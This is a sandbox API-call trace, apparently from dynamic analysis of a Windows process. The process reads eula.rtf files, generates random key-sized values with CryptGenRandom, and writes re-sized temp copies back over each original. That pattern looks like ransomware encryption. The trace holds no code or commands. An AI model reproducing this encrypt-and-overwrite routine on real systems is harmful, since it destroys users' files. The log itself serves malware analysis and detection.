	[0070.925] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0070.926] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287c04 | out: lpMode=0xc000287c04) returned 0
	[0070.926] GetFileType (hFile=0x178) returned 0x1
	[0070.926] WriteFile (in: hFile=0x178, lpBuffer=0xc000256500*, nNumberOfBytesToWrite=0x23ac, lpNumberOfBytesWritten=0xc000287bec, lpOverlapped=0x0 | out: lpBuffer=0xc000256500*, lpNumberOfBytesWritten=0xc000287bec*=0x23ac, lpOverlapped=0x0) returned 1
	[0070.927] CloseHandle (hObject=0x178) returned 1
	[0070.931] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0070.932] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0070.932] GetFileType (hFile=0x178) returned 0x1
	[0070.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0070.932] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0070.932] GetFileType (hFile=0x164) returned 0x1
	[0070.933] VirtualAlloc (lpAddress=0xc000262000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000262000
	[0070.934] ReadFile (in: hFile=0x164, lpBuffer=0xc000262000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000262000*, lpNumberOfBytesRead=0xc000287bd4*=0x23ac, lpOverlapped=0x0) returned 1
	[0070.979] WriteFile (in: hFile=0x178, lpBuffer=0xc000262000*, nNumberOfBytesToWrite=0x23ac, lpNumberOfBytesWritten=0xc000287b74, lpOverlapped=0x0 | out: lpBuffer=0xc000262000*, lpNumberOfBytesWritten=0xc000287b74*=0x23ac, lpOverlapped=0x0) returned 1
	[0070.980] ReadFile (in: hFile=0x164, lpBuffer=0xc000262000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000262000*, lpNumberOfBytesRead=0xc000287bd4*=0x0, lpOverlapped=0x0) returned 1
	[0070.981] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969")) returned 0
	[0070.981] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969")) returned 0
	[0070.981] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969")) returned 0x20
	[0070.981] CloseHandle (hObject=0x164) returned 1
	[0070.981] CloseHandle (hObject=0x178) returned 1
	[0070.982] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969")) returned 1
	[0070.983] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0070.983] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0070.983] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0070.983] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000231bf4 | out: lpMode=0xc000231bf4) returned 0
	[0070.983] GetFileType (hFile=0x178) returned 0x1
	[0070.984] GetFileType (hFile=0x178) returned 0x1
	[0070.984] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0xc000231c44 | out: lpFileInformation=0xc000231c44) returned 1
	[0070.984] GetFileInformationByHandleEx (in: hFile=0x178, FileInformationClass=0x9, lpFileInformation=0xc000231c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000231c28) returned 1
	[0070.984] VirtualAlloc (lpAddress=0xc00026c000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00026c000
	[0070.985] ReadFile (in: hFile=0x178, lpBuffer=0xc00026c000, nNumberOfBytesToRead=0x1076, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc00026c000*, lpNumberOfBytesRead=0xc000231b04*=0xe76, lpOverlapped=0x0) returned 1
	[0071.029] ReadFile (in: hFile=0x178, lpBuffer=0xc00026ce76, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc00026ce76*, lpNumberOfBytesRead=0xc000231b04*=0x0, lpOverlapped=0x0) returned 1
	[0071.030] CloseHandle (hObject=0x178) returned 1
	[0071.030] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc0002066c0 | out: pbBuffer=0xc0002066c0) returned 1
	[0071.030] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc0002223b0 | out: pbBuffer=0xc0002223b0) returned 1
	[0071.030] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000212501 | out: pbBuffer=0xc000212501) returned 1
	[0071.030] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0071.031] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000231c04 | out: lpMode=0xc000231c04) returned 0
	[0071.031] GetFileType (hFile=0x178) returned 0x1
	[0071.031] WriteFile (in: hFile=0x178, lpBuffer=0xc000273000*, nNumberOfBytesToWrite=0xf76, lpNumberOfBytesWritten=0xc000231bec, lpOverlapped=0x0 | out: lpBuffer=0xc000273000*, lpNumberOfBytesWritten=0xc000231bec*=0xf76, lpOverlapped=0x0) returned 1
	[0071.032] CloseHandle (hObject=0x178) returned 1
	[0071.041] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0071.043] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0071.043] GetFileType (hFile=0x178) returned 0x1
	[0071.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x194
	[0071.043] GetConsoleMode (in: hConsoleHandle=0x194, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0071.043] GetFileType (hFile=0x194) returned 0x1
	[0071.043] VirtualAlloc (lpAddress=0xc000274000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000274000
	[0071.044] ReadFile (in: hFile=0x194, lpBuffer=0xc000274000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000274000*, lpNumberOfBytesRead=0xc000231bd4*=0xf76, lpOverlapped=0x0) returned 1
	[0071.044] WriteFile (in: hFile=0x178, lpBuffer=0xc000274000*, nNumberOfBytesToWrite=0xf76, lpNumberOfBytesWritten=0xc000231b74, lpOverlapped=0x0 | out: lpBuffer=0xc000274000*, lpNumberOfBytesWritten=0xc000231b74*=0xf76, lpOverlapped=0x0) returned 1
	[0071.046] ReadFile (in: hFile=0x194, lpBuffer=0xc000274000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000274000*, lpNumberOfBytesRead=0xc000231bd4*=0x0, lpOverlapped=0x0) returned 1
	[0071.046] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721")) returned 0
	[0071.046] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721")) returned 0
	[0071.046] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721")) returned 0x20
	[0071.046] CloseHandle (hObject=0x194) returned 1
	[0071.046] CloseHandle (hObject=0x178) returned 1
	[0071.047] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\01743799314bd33a64cf0ee24ea10721" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\01743799314bd33a64cf0ee24ea10721")) returned 1
	[0071.048] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.694] SetEvent (hEvent=0x188) returned 1
	[0071.694] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0071.694] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000231d94, lpOverlapped=0x0) returned 0
	[0071.695] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x164
	[0071.695] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231bf4 | out: lpMode=0xc000231bf4) returned 0
	[0071.695] GetFileType (hFile=0x164) returned 0x1
	[0071.695] GetFileType (hFile=0x164) returned 0x1
	[0071.695] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000231c44 | out: lpFileInformation=0xc000231c44) returned 1
	[0071.695] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000231c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000231c28) returned 1
	[0071.695] VirtualAlloc (lpAddress=0xc0002f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f4000
	[0071.695] ReadFile (in: hFile=0x164, lpBuffer=0xc0002f4000, nNumberOfBytesToRead=0xfda, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002f4000*, lpNumberOfBytesRead=0xc000231b04*=0xdda, lpOverlapped=0x0) returned 1
	[0071.987] ReadFile (in: hFile=0x164, lpBuffer=0xc0002f4dda, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000231b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002f4dda*, lpNumberOfBytesRead=0xc000231b04*=0x0, lpOverlapped=0x0) returned 1
	[0071.987] CloseHandle (hObject=0x164) returned 1
	[0071.987] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc0001097c0 | out: pbBuffer=0xc0001097c0) returned 1
	[0071.987] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000101100 | out: pbBuffer=0xc000101100) returned 1
	[0071.987] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000162f01 | out: pbBuffer=0xc000162f01) returned 1
	[0071.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0071.988] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231c04 | out: lpMode=0xc000231c04) returned 0
	[0071.988] GetFileType (hFile=0x164) returned 0x1
	[0071.988] WriteFile (in: hFile=0x164, lpBuffer=0xc0002f5000*, nNumberOfBytesToWrite=0xeda, lpNumberOfBytesWritten=0xc000231bec, lpOverlapped=0x0 | out: lpBuffer=0xc0002f5000*, lpNumberOfBytesWritten=0xc000231bec*=0xeda, lpOverlapped=0x0) returned 1
	[0071.989] CloseHandle (hObject=0x164) returned 1
	[0071.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0071.996] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0071.996] GetFileType (hFile=0x164) returned 0x1
	[0071.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0071.996] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000231d74 | out: lpMode=0xc000231d74) returned 0
	[0071.996] GetFileType (hFile=0x178) returned 0x1
	[0071.996] VirtualAlloc (lpAddress=0xc0002f6000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f6000
	[0071.997] ReadFile (in: hFile=0x178, lpBuffer=0xc0002f6000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002f6000*, lpNumberOfBytesRead=0xc000231bd4*=0xeda, lpOverlapped=0x0) returned 1
	[0071.997] WriteFile (in: hFile=0x164, lpBuffer=0xc0002f6000*, nNumberOfBytesToWrite=0xeda, lpNumberOfBytesWritten=0xc000231b74, lpOverlapped=0x0 | out: lpBuffer=0xc0002f6000*, lpNumberOfBytesWritten=0xc000231b74*=0xeda, lpOverlapped=0x0) returned 1
	[0071.998] ReadFile (in: hFile=0x178, lpBuffer=0xc0002f6000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000231bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002f6000*, lpNumberOfBytesRead=0xc000231bd4*=0x0, lpOverlapped=0x0) returned 1
	[0071.998] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb")) returned 0
	[0071.999] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb")) returned 0
	[0071.999] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb")) returned 0x20
	[0071.999] CloseHandle (hObject=0x178) returned 1
	[0071.999] CloseHandle (hObject=0x164) returned 1
	[0071.999] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\0fb75d0b54d27ac50188bead54360bbb" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\0fb75d0b54d27ac50188bead54360bbb")) returned 1
	[0072.001] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.096] SetEvent (hEvent=0xf0) returned 1
	[0072.096] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0072.097] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0072.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0072.097] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287bf4 | out: lpMode=0xc000287bf4) returned 0
	[0072.097] GetFileType (hFile=0x178) returned 0x1
	[0072.097] GetFileType (hFile=0x178) returned 0x1
	[0072.097] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0xc000287c44 | out: lpFileInformation=0xc000287c44) returned 1
	[0072.097] GetFileInformationByHandleEx (in: hFile=0x178, FileInformationClass=0x9, lpFileInformation=0xc000287c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000287c28) returned 1
	[0072.097] ReadFile (in: hFile=0x178, lpBuffer=0xc0001b3300, nNumberOfBytesToRead=0x1063, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001b3300*, lpNumberOfBytesRead=0xc000287b04*=0xe63, lpOverlapped=0x0) returned 1
	[0073.502] SetEvent (hEvent=0x120) returned 1
	[0073.502] ReadFile (in: hFile=0x178, lpBuffer=0xc0001b4163, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001b4163*, lpNumberOfBytesRead=0xc000287b04*=0x0, lpOverlapped=0x0) returned 1
	[0073.502] CloseHandle (hObject=0x178) returned 1
	[0073.503] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000109980 | out: pbBuffer=0xc000109980) returned 1
	[0073.503] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000101210 | out: pbBuffer=0xc000101210) returned 1
	[0073.503] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000163201 | out: pbBuffer=0xc000163201) returned 1
	[0073.503] VirtualAlloc (lpAddress=0xc000412000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000412000
	[0073.503] VirtualAlloc (lpAddress=0xc000414000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000414000
	[0073.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0073.504] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287c04 | out: lpMode=0xc000287c04) returned 0
	[0073.504] GetFileType (hFile=0x178) returned 0x1
	[0073.505] WriteFile (in: hFile=0x178, lpBuffer=0xc000414000*, nNumberOfBytesToWrite=0xf63, lpNumberOfBytesWritten=0xc000287bec, lpOverlapped=0x0 | out: lpBuffer=0xc000414000*, lpNumberOfBytesWritten=0xc000287bec*=0xf63, lpOverlapped=0x0) returned 1
	[0073.506] CloseHandle (hObject=0x178) returned 1
	[0073.507] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0073.508] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0073.508] GetFileType (hFile=0x178) returned 0x1
	[0073.509] VirtualAlloc (lpAddress=0xc000416000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000416000
	[0073.509] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a4
	[0073.509] GetConsoleMode (in: hConsoleHandle=0x1a4, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0073.509] GetFileType (hFile=0x1a4) returned 0x1
	[0073.509] VirtualAlloc (lpAddress=0xc000418000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000418000
	[0073.509] ReadFile (in: hFile=0x1a4, lpBuffer=0xc000418000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000418000*, lpNumberOfBytesRead=0xc000287bd4*=0xf63, lpOverlapped=0x0) returned 1
	[0073.510] WriteFile (in: hFile=0x178, lpBuffer=0xc000418000*, nNumberOfBytesToWrite=0xf63, lpNumberOfBytesWritten=0xc000287b74, lpOverlapped=0x0 | out: lpBuffer=0xc000418000*, lpNumberOfBytesWritten=0xc000287b74*=0xf63, lpOverlapped=0x0) returned 1
	[0073.511] ReadFile (in: hFile=0x1a4, lpBuffer=0xc000418000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000287bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000418000*, lpNumberOfBytesRead=0xc000287bd4*=0x0, lpOverlapped=0x0) returned 1
	[0073.511] VirtualAlloc (lpAddress=0xc000420000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000420000
	[0073.511] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c")) returned 0
	[0073.511] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c")) returned 0
	[0073.512] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c")) returned 0x20
	[0073.512] CloseHandle (hObject=0x1a4) returned 1
	[0073.512] CloseHandle (hObject=0x178) returned 1
	[0073.512] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\6eb6e1d0bd9f11140222b7597f180f8c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\6eb6e1d0bd9f11140222b7597f180f8c")) returned 1
	[0073.513] SetEvent (hEvent=0x19c) returned 1
	[0073.513] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0073.513] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000287d94, lpOverlapped=0x0) returned 0
	[0073.513] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
	[0073.513] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287bf4 | out: lpMode=0xc000287bf4) returned 0
	[0073.513] GetFileType (hFile=0x178) returned 0x1
	[0073.513] GetFileType (hFile=0x178) returned 0x1
	[0073.513] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0xc000287c44 | out: lpFileInformation=0xc000287c44) returned 1
	[0073.513] GetFileInformationByHandleEx (in: hFile=0x178, FileInformationClass=0x9, lpFileInformation=0xc000287c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000287c28) returned 1
	[0073.514] ReadFile (in: hFile=0x178, lpBuffer=0xc0002d9300, nNumberOfBytesToRead=0x1119, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002d9300*, lpNumberOfBytesRead=0xc000287b04*=0xf19, lpOverlapped=0x0) returned 1
	[0074.172] ReadFile (in: hFile=0x178, lpBuffer=0xc0002da219, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000287b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002da219*, lpNumberOfBytesRead=0xc000287b04*=0x0, lpOverlapped=0x0) returned 1
	[0074.172] CloseHandle (hObject=0x178) returned 1
	[0074.173] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000109c40 | out: pbBuffer=0xc000109c40) returned 1
	[0074.173] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc0001013f0 | out: pbBuffer=0xc0001013f0) returned 1
	[0074.173] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000163601 | out: pbBuffer=0xc000163601) returned 1
	[0074.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\16d8dfe08e8c568b3449f27bd09a6c54" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\16d8dfe08e8c568b3449f27bd09a6c54"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178
	[0074.178] GetConsoleMode (in: hConsoleHandle=0x178, lpMode=0xc000287c04 | out: lpMode=0xc000287c04) returned 0
	[0074.178] GetFileType (hFile=0x178) returned 0x1
